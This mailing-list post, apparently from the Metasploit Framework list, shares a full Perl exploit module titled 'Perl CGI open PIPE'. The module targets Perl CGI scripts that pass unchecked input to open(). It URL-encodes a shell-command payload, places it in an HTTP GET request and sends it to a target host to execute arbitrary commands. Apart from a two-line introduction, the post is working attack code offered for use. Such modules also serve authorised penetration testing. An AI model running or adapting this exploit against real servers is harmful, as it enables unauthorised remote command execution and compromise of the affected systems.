Questions about plugin design

[mvalsmith at gmail.com (val smith)]

Heres one I wrote for that exact thing. Works adequately well though it 
needs some improvements.

V.

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from
metasploit.com<http://metasploit.com>
.
##

package Msf::Exploit::perl;
use base "Msf::Exploit";
use Pex::Text;
use strict;


my $advanced = { };

my $info =
{
'Name' => 'Perl CGI open PIPE',
'Version' => '$Revision: 1.2 $',
'Authors' => [ 'Anthony S. Clark(valsmith) <asclark at lanl.gov<http://lanl.gov>
> '],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,
'UserOpts' => {
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'SSL' => [0, 'BOOL', 'Use SSL'],
'USER_AGENT' => [1,'Firefox','The User Agent','User-Agent: Mozilla/5.0 
(Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 
Firefox/1.0.3'],
'URL_PREFIX' => [1, 'URLP',"The URL Prefix"],
'URL_SUFFIX' => [1, 'URLS',"The URL Suffix"],

},

'Payload' => {
'Space' => 1024,
'Keys' => ['cmd', 'cmd_bash'], 
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a common perl cgi vulnerability where an unchecked user 
input variable gets sent to the perl open function which allows arbitrary 
commands to be executed.
}),

'Refs' => [ ['OSVDB', 11111], ],
'Keys' => ['perlCGI'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, 
@_);
return($self);
}

sub UrlEncodePayload {
my $data = shift;
my $res;

foreach my $c (unpack('C*', $data)) {
if (
($c >= 0x30 && $c <= 0x39) ||
($c >= 0x41 && $c <= 0x5A) ||
($c >= 0x61 && $c <= 0x7A)
) {
$res .= chr($c);
} else {
$res .= sprintf("%%%.2x", $c);
}
}
return $res;
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $user_agent = $self->GetVar('USER_AGENT');
my $url_prefix = $self->GetVar('URL_PREFIX');
my $url_suffix = $self->GetVar('URL_SUFFIX');

my $shellcode = $self->GetVar('EncodedPayload')->RawPayload;
my $fixedshellcode = UrlEncodePayload($shellcode);

###### MAIN REQUEST ##########
my $request = "GET $url_prefix" . $fixedshellcode . $url_suffix . " 
HTTP/1.1\r\nHost: $target_host\r\n$user_agent\r\n\r\n";

print "[*] Sending encoded GET\n";

print "\n\nREQUEST: $request\n\n";

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$s->Send($request);
my $r = $s->Recv(-1,20);
$s->Close();
return;
}


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